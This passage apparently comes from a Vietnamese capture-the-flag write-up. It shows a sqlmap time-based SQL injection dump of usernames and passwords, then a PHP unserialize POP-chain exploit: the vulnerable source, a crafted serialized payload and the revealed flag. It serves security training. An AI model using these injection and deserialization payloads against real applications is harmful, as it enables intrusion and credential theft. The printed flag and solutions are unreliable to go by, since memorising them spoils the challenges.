:~/sqlmap# python3 sqlmap.py -r test.txt --time-sec=3 -D public -T users  -C username,password --dum
p

Database: public
Table: users
[3 entries]
+----------+---------------+
| username | password      |
+----------+---------------+
| jsilver  | J0hNG0lDeN    |
| jsparow  | Sp@r0WKr@K3n  |
| admin    | T!m3B@s3DSQL! |
+----------+---------------+

71. PHP - Unserialize Pop Chain

  • Đầu tiên xem source code
$getflag = false;

class GetMessage {
    function __construct($receive) {
        if ($receive === "HelloBooooooy") {
            die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
        } else {
            $this->receive = $receive;
        }
    }

    function __toString() {
        return $this->receive;
    }

    function __destruct() {
        global $getflag;
        if ($this->receive !== "HelloBooooooy") {
            die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
        } else {
            if ($getflag) {
                include("flag.php");
                echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
            }
        }
    }
}

class WakyWaky {
    function __wakeup() {
        echo "[YOU]: ".$this->msg."<br>";
    }

    function __toString() {
        global $getflag;
        $getflag = true;
        return (new GetMessage($this->msg))->receive;
    }
}
  • Đầu tiên là hàm unserialize chỉ call hàm toString và destruct không gọi hàm __construct. Vậy chỉ cần chuyển thuộc tính receive "HelloBooooooy" là có thể bypass được. Thêm một thuộc tính waky cho GetMessage để khởi tạo cho WakyWaky.

  • Bây giờ xử lý $getflag = true là thành công.

  • Khi khởi tạo WakyWaky thì wakeup luôn được gọi và toString xảy ra khi echo đối tượng đó vì thế mà $this->msg phải là class WakyWaky.

  • Tạo payoad:

$getMes = new GetMessage("HelloBoooooo");
$getMes->waky = new WakyWaky();
$getMes->waky->msg = new WakyWaky();
$test = serialize($getMes);
=> 
O:10:"GetMessage":2:{s:7:"receive";s:13:"HelloBooooooy";s:4:"waky";O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":0:{}}}
  • Điền vào nộp là thành công.
[YOU]:
[FRIEND]: Hm.. you don't see to be the friend I was waiting for..
[FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks